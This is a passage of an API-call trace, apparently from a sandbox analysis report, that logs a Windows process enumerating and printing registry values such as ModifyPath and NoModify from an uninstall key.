dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.360] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.360] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.360] __iob_func () returned 0x7fefd702a80 [0148.360] _fileno (_File=0x7fefd702ab0) returned 1 [0148.360] _errno () returned 0xc4bb0 [0148.360] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.360] _errno () returned 0xc4bb0 [0148.360] GetFileType (hFile=0x50) returned 0x1 [0148.360] lstrlenW (lpString="REG_SZ") returned 6 [0148.360] GetConsoleOutputCP () returned 0x1b5 [0148.360] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.360] GetConsoleOutputCP () returned 0x1b5 [0148.360] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.360] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.360] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.361] __iob_func () returned 0x7fefd702a80 [0148.361] _fileno (_File=0x7fefd702ab0) returned 1 [0148.361] _errno () returned 0xc4bb0 [0148.361] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.361] _errno () returned 0xc4bb0 [0148.361] GetFileType (hFile=0x50) returned 0x1 [0148.361] lstrlenW (lpString=" ") returned 4 [0148.361] GetConsoleOutputCP () returned 0x1b5 [0148.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.361] GetConsoleOutputCP () returned 0x1b5 [0148.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.361] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.361] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.361] __iob_func () returned 0x7fefd702a80 [0148.361] _fileno (_File=0x7fefd702ab0) returned 1 [0148.361] _errno () returned 0xc4bb0 [0148.361] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.361] _errno () returned 0xc4bb0 [0148.361] GetFileType (hFile=0x50) returned 0x1 [0148.361] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\IXP000.TMP\\") returned 48 [0148.361] GetConsoleOutputCP () returned 0x1b5 [0148.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\IXP000.TMP\\", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0148.362] GetConsoleOutputCP () returned 0x1b5 [0148.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\IXP000.TMP\\", cchWideChar=48, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\IXP000.TMP\\", lpUsedDefaultChar=0x0) returned 48 [0148.362] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 48 [0148.362] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.362] __iob_func () returned 0x7fefd702a80 [0148.362] _fileno (_File=0x7fefd702ab0) returned 1 [0148.362] _errno () returned 0xc4bb0 [0148.362] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.362] _errno () returned 0xc4bb0 [0148.362] GetFileType (hFile=0x50) returned 0x1 [0148.362] lstrlenW (lpString="\n") returned 1 [0148.362] GetConsoleOutputCP () returned 0x1b5 [0148.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.362] GetConsoleOutputCP () returned 0x1b5 [0148.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.362] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.362] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.362] GetProcessHeap () returned 0x2e0000 [0148.362] GetProcessHeap () returned 0x2e0000 [0148.362] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0) returned 1 [0148.362] GetProcessHeap () returned 0x2e0000 [0148.362] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x3019a0) returned 0x66 [0148.363] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3019a0 | out: hHeap=0x2e0000) returned 1 [0148.363] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.363] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0148.363] GetProcessHeap () returned 0x2e0000 [0148.363] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0148.363] GetProcessHeap () returned 0x2e0000 [0148.363] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.363] GetProcessHeap () returned 0x2e0000 [0148.363] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.363] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", pcbData=0x23f670*=0x6a) returned 0x0 [0148.363] __iob_func () returned 0x7fefd702a80 [0148.363] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.363] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.363] _fileno (_File=0x7fefd702ab0) returned 1 [0148.363] _errno () returned 0xc4bb0 [0148.363] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.363] _errno () returned 0xc4bb0 [0148.363] GetFileType (hFile=0x50) returned 0x1 [0148.363] lstrlenW (lpString=" ") returned 4 [0148.363] GetConsoleOutputCP () returned 0x1b5 [0148.363] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.363] GetConsoleOutputCP () returned 0x1b5 [0148.363] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.363] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.363] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.364] lstrlenW (lpString="ModifyPath") returned 10 [0148.364] __iob_func () returned 0x7fefd702a80 [0148.364] _fileno (_File=0x7fefd702ab0) returned 1 [0148.364] _errno () returned 0xc4bb0 [0148.364] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.364] _errno () returned 0xc4bb0 [0148.364] GetFileType (hFile=0x50) returned 0x1 [0148.364] lstrlenW (lpString="ModifyPath") returned 10 [0148.364] GetConsoleOutputCP () returned 0x1b5 [0148.364] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0148.364] GetConsoleOutputCP () returned 0x1b5 [0148.364] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0148.364] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0148.364] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.364] __iob_func () returned 0x7fefd702a80 [0148.364] _fileno (_File=0x7fefd702ab0) returned 1 [0148.364] _errno () returned 0xc4bb0 [0148.364] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.364] _errno () returned 0xc4bb0 [0148.364] GetFileType (hFile=0x50) returned 0x1 [0148.364] lstrlenW (lpString=" ") returned 4 [0148.364] GetConsoleOutputCP () returned 0x1b5 [0148.364] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.364] GetConsoleOutputCP () returned 0x1b5 [0148.365] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.365] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.365] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.365] __iob_func () returned 0x7fefd702a80 [0148.365] _fileno (_File=0x7fefd702ab0) returned 1 [0148.365] _errno () returned 0xc4bb0 [0148.365] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.365] _errno () returned 0xc4bb0 [0148.365] GetFileType (hFile=0x50) returned 0x1 [0148.365] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.365] GetConsoleOutputCP () returned 0x1b5 [0148.365] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.365] GetConsoleOutputCP () returned 0x1b5 [0148.365] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.365] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.365] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.365] __iob_func () returned 0x7fefd702a80 [0148.365] _fileno (_File=0x7fefd702ab0) returned 1 [0148.365] _errno () returned 0xc4bb0 [0148.365] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.365] _errno () returned 0xc4bb0 [0148.365] GetFileType (hFile=0x50) returned 0x1 [0148.365] lstrlenW (lpString=" ") returned 4 [0148.366] GetConsoleOutputCP () returned 0x1b5 [0148.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.366] GetConsoleOutputCP () returned 0x1b5 [0148.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.366] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.366] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.366] __iob_func () returned 0x7fefd702a80 [0148.366] _fileno (_File=0x7fefd702ab0) returned 1 [0148.366] _errno () returned 0xc4bb0 [0148.366] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.366] _errno () returned 0xc4bb0 [0148.366] GetFileType (hFile=0x50) returned 0x1 [0148.366] lstrlenW (lpString="MsiExec.exe /X{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}") returned 52 [0148.366] GetConsoleOutputCP () returned 0x1b5 [0148.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0148.366] GetConsoleOutputCP () returned 0x1b5 [0148.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", lpUsedDefaultChar=0x0) returned 52 [0148.366] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0148.366] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.367] __iob_func () returned 0x7fefd702a80 [0148.367] _fileno (_File=0x7fefd702ab0) returned 1 [0148.367] _errno () returned 0xc4bb0 [0148.367] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.367] _errno () returned 0xc4bb0 [0148.367] GetFileType (hFile=0x50) returned 0x1 [0148.367] lstrlenW (lpString="\n") returned 1 [0148.367] GetConsoleOutputCP () returned 0x1b5 [0148.367] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.367] GetConsoleOutputCP () returned 0x1b5 [0148.367] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.367] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.367] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.367] GetProcessHeap () returned 0x2e0000 [0148.367] GetProcessHeap () returned 0x2e0000 [0148.367] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.367] GetProcessHeap () returned 0x2e0000 [0148.367] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.367] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0148.367] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.367] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.367] GetProcessHeap () returned 0x2e0000 [0148.367] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.367] GetProcessHeap () returned 0x2e0000 [0148.367] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.367] GetProcessHeap () returned 0x2e0000 [0148.367] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.367] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.368] __iob_func () returned 0x7fefd702a80 [0148.368] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.368] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.368] _fileno (_File=0x7fefd702ab0) returned 1 [0148.368] _errno () returned 0xc4bb0 [0148.368] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.368] _errno () returned 0xc4bb0 [0148.368] GetFileType (hFile=0x50) returned 0x1 [0148.368] lstrlenW (lpString=" ") returned 4 [0148.368] GetConsoleOutputCP () returned 0x1b5 [0148.368] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.368] GetConsoleOutputCP () returned 0x1b5 [0148.368] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.368] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.368] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.368] lstrlenW (lpString="NoModify") returned 8 [0148.368] __iob_func () returned 0x7fefd702a80 [0148.368] _fileno (_File=0x7fefd702ab0) returned 1 [0148.368] _errno () returned 0xc4bb0 [0148.368] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.368] _errno () returned 0xc4bb0 [0148.368] GetFileType (hFile=0x50) returned 0x1 [0148.368] lstrlenW (lpString="NoModify") returned 8 [0148.368] GetConsoleOutputCP () returned 0x1b5 [0148.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.369] GetConsoleOutputCP () returned 0x1b5 [0148.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0148.369] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.369] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.369] __iob_func () returned 0x7fefd702a80 [0148.369] _fileno (_File=0x7fefd702ab0) returned 1 [0148.369] _errno () returned 0xc4bb0 [0148.369] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.369] _errno () returned 0xc4bb0 [0148.369] GetFileType (hFile=0x50) returned 0x1 [0148.369] lstrlenW (lpString=" ") returned 4 [0148.369] GetConsoleOutputCP () returned 0x1b5 [0148.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.369] GetConsoleOutputCP () returned 0x1b5 [0148.369] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.369] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.369] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.369] __iob_func () returned 0x7fefd702a80 [0148.369] _fileno (_File=0x7fefd702ab0) returned 1 [0148.369] _errno () returned 0xc4bb0 [0148.369] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.370] _errno () returned 0xc4bb0 [0148.370] GetFileType (hFile=0x50) returned 0x1 [0148.370] lstrlenW (lpString="REG_DWORD") returned 9 [0148.370] GetConsoleOutputCP () returned 0x1b5 [0148.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.370] GetConsoleOutputCP () returned 0x1b5 [0148.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.370] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.370] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.370] __iob_func () returned 0x7fefd702a80 [0148.370] _fileno (_File=0x7fefd702ab0) returned 1 [0148.370] _errno () returned 0xc4bb0 [0148.370] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.370] _errno () returned 0xc4bb0 [0148.370] GetFileType (hFile=0x50) returned 0x1 [0148.370] lstrlenW (lpString=" ") returned 4 [0148.370] GetConsoleOutputCP () returned 0x1b5 [0148.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.370] GetConsoleOutputCP () returned 0x1b5 [0148.370] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.370] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.371] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.371] __iob_func () returned 0x7fefd702a80 [0148.371] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.371] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.371] _fileno (_File=0x7fefd702ab0) returned 1 [0148.371] _errno () returned 0xc4bb0 [0148.371] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.371] _errno () returned 0xc4bb0 [0148.371] GetFileType (hFile=0x50) returned 0x1 [0148.371] lstrlenW (lpString="0x1") returned 3 [0148.371] GetConsoleOutputCP () returned 0x1b5 [0148.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.371] GetConsoleOutputCP () returned 0x1b5 [0148.371] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.371] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.371] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.371] __iob_func () returned 0x7fefd702a80 [0148.371] _fileno (_File=0x7fefd702ab0) returned 1 [0148.371] _errno () returned 0xc4bb0 [0148.371] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.371] _errno () returned 0xc4bb0 [0148.371] GetFileType (hFile=0x50) returned 0x1 [0148.371] lstrlenW (lpString="\n") returned 1 [0148.371] GetConsoleOutputCP () returned 0x1b5 [0148.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.372] GetConsoleOutputCP () returned 0x1b5 [0148.372] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.372] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.372] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.372] GetProcessHeap () returned 0x2e0000 [0148.372] GetProcessHeap () returned 0x2e0000 [0148.372] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.372] GetProcessHeap () returned 0x2e0000 [0148.372] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.372] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.372] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, 